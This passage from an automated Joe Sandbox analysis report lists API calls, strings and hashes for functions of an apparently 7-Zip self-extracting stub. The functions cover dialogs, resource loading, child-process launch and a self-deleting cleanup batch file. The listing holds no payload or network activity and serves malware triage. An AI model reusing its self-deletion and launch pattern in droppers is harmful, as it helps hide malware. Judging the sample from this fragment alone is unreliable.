Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

SetThreadPreferredUILanguages, xrefs: 00402184
kernel32, xrefs: 0040213D, 00402142, 00402189
SetProcessPreferredUILanguages, xrefs: 00402138
%04X%c%04X%c, xrefs: 0040216F

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040962A
GetLastError.KERNEL32 ref: 0040963B
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
lstrlenW.KERNEL32(?), ref: 0040968B
lstrlenW.KERNEL32(?), ref: 00409692
??2@YAPAXI@Z.MSVCRT ref: 004096A7
lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
??3@YAXPAX@Z.MSVCRT ref: 004096D7
LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
Opcode Fuzzy Hash: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT ref: 004032D1
??3@YAXPAX@Z.MSVCRT ref: 004032DC

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DDA
SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
GetCurrentThreadId.KERNEL32 ref: 00408DF4
SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
EndDialog.USER32(?,00000000), ref: 00408E25

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69

Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29

Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
??3@YAXPAX@Z.MSVCRT ref: 0040556D
??3@YAXPAX@Z.MSVCRT ref: 00405575
??3@YAXPAX@Z.MSVCRT ref: 0040557D
??3@YAXPAX@Z.MSVCRT ref: 00405585
??3@YAXPAX@Z.MSVCRT ref: 0040558D
??3@YAXPAX@Z.MSVCRT ref: 00405595
??3@YAXPAX@Z.MSVCRT ref: 0040559D
??3@YAXPAX@Z.MSVCRT ref: 004055A5
??3@YAXPAX@Z.MSVCRT ref: 004055AD
??3@YAXPAX@Z.MSVCRT ref: 004055B5
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
??3@YAXPAX@Z.MSVCRT ref: 0040560A
??3@YAXPAX@Z.MSVCRT ref: 00405612
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8

Strings

sfxwaitall, xrefs: 004054D0
" -, xrefs: 004054D5

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69

Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT([@,00000000,0041E9F4), ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT ref: 00403C8C
??3@YAXPAX@Z.MSVCRT ref: 00403C94
??3@YAXPAX@Z.MSVCRT ref: 00403C9C
??3@YAXPAX@Z.MSVCRT ref: 00403CA4
??3@YAXPAX@Z.MSVCRT ref: 00403CAC
??3@YAXPAX@Z.MSVCRT ref: 00403CB4
??3@YAXPAX@Z.MSVCRT ref: 00403CBC
_wtol.MSVCRT(?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,?), ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT ref: 00403E4B
??3@YAXPAX@Z.MSVCRT ref: 00403E53
??3@YAXPAX@Z.MSVCRT ref: 00403E5B
??3@YAXPAX@Z.MSVCRT ref: 00403E63
??3@YAXPAX@Z.MSVCRT ref: 00403E6B
??3@YAXPAX@Z.MSVCRT ref: 00403E73
??3@YAXPAX@Z.MSVCRT ref: 00403E7B
??3@YAXPAX@Z.MSVCRT ref: 00403E81
??3@YAXPAX@Z.MSVCRT ref: 00403E89

Strings

[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44
.lnk, xrefs: 00403D92

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$[@
API String ID: 408529070-3575931549
Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 00404F0E Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 227stringCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT(00000000), ref: 004050E7
_wtol.MSVCRT(00000000), ref: 00405103
lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(009D9240,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Strings

Title, xrefs: 00404F1C
ExtractPathText, xrefs: 00405124
CancelPrompt, xrefs: 0040513C
GUIMode, xrefs: 00404FFF
GUIFlags, xrefs: 00405049, 0040504E, 0040506A
ExtractTitle, xrefs: 00404FBA
MiscFlags, xrefs: 0040507C, 00405081, 0040509D
ExtractPathWidth, xrefs: 004050F0
OverwriteMode, xrefs: 0040502C
ExtractDialogWidth, xrefs: 004050C9
WarningTitle, xrefs: 00404FA2
Progress, xrefs: 00404FD2
ExtractPathTitle, xrefs: 0040510C
ExtractDialogText, xrefs: 004050B8
ExtractCancelText, xrefs: 004050AC
PasswordTitle, xrefs: 00405154
ErrorTitle, xrefs: 00404F8A
PasswordText, xrefs: 0040516C

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle
API String ID: 2725485552-2157245290
Opcode ID: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
Opcode Fuzzy Hash: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF

Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
??3@YAXPAX@Z.MSVCRT ref: 004058CB
CloseHandle.KERNEL32(0041EA30), ref: 004058D4
SetFileAttributesW.KERNEL32(00407468,00000000), ref: 004058EB
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 004058FD
??3@YAXPAX@Z.MSVCRT ref: 00405906
??3@YAXPAX@Z.MSVCRT ref: 00405912
??3@YAXPAX@Z.MSVCRT ref: 00405918
??3@YAXPAX@Z.MSVCRT ref: 00405946

Strings

open, xrefs: 004058F7
if exist ", xrefs: 0040585B
", xrefs: 0040584D, 00405852, 00405896
:Repeat, xrefs: 00405826
7ZSfx%03x.cmd, xrefs: 004057EC
" goto Repeat, xrefs: 00405874
del ", xrefs: 00405833, 00405838, 00405881

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3007203151-3467708659
Opcode ID: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction ID: eb7ea14b5f0693ba8c6a98bcb421c9bec9bd01f197c59b95adb21b6866ed8523
Opcode Fuzzy Hash: 30920ae2f114942037667fcef3695092ebf7d87c0f31e60c9b52ff49f89ef857
Instruction Fuzzy Hash: DE413871800108AEDB11ABA5EC86DEF7B7DEF04724F50843AF511721E1EB795E85CB98

Function 00403423 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00403436
lstrcmpiA.KERNEL32(?,STATIC), ref: 00403449
GetWindowLongW.USER32(?,000000F0), ref: 00403456

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT ref: 00403483
GetParent.USER32(?), ref: 00403491
LoadLibraryA.KERNEL32(riched20), ref: 004034A5
GetMenu.USER32(?), ref: 004034B8
SetThreadLocale.KERNEL32(00000419), ref: 004034C5
CreateWindowExW.USER32(00000000,RichEdit20W,0041A584,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 004034F5
DestroyWindow.USER32(?), ref: 00403506
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 0040351B
GetSysColor.USER32(0000000F), ref: 0040351F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0040352D
SendMessageW.USER32(00000000,00000461,?,?), ref: 00403558
??3@YAXPAX@Z.MSVCRT ref: 0040355D
??3@YAXPAX@Z.MSVCRT ref: 00403565

Strings

riched20, xrefs: 004034A0
STATIC, xrefs: 00403440
{\rtf, xrefs: 0040346C
RichEdit20W, xrefs: 004034EF

Memory Dump Source

Source File: 00000008.00000002.2922624202.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2922599405.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922658273.000000000041A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922683800.000000000041E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2922707771.0000000000423000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ZwL0OipB1WfKucHfLydAfltr.jbxd

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction ID: e5fea360a7eb9894b086cd4675cd9c6500acd79176ce5b6afcc660833785d9d0
Opcode Fuzzy Hash: c286caa82b99ae390a7687983e8ee3eb06d76ab9f7170e9dcdb9ea0a05f1a152
Instruction Fuzzy Hash: 67317F72901109BFDB01AFA5DC49EEF7BBCEB08705F10407AF604F6190DA799E518B6A

Function 00408E76 Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON

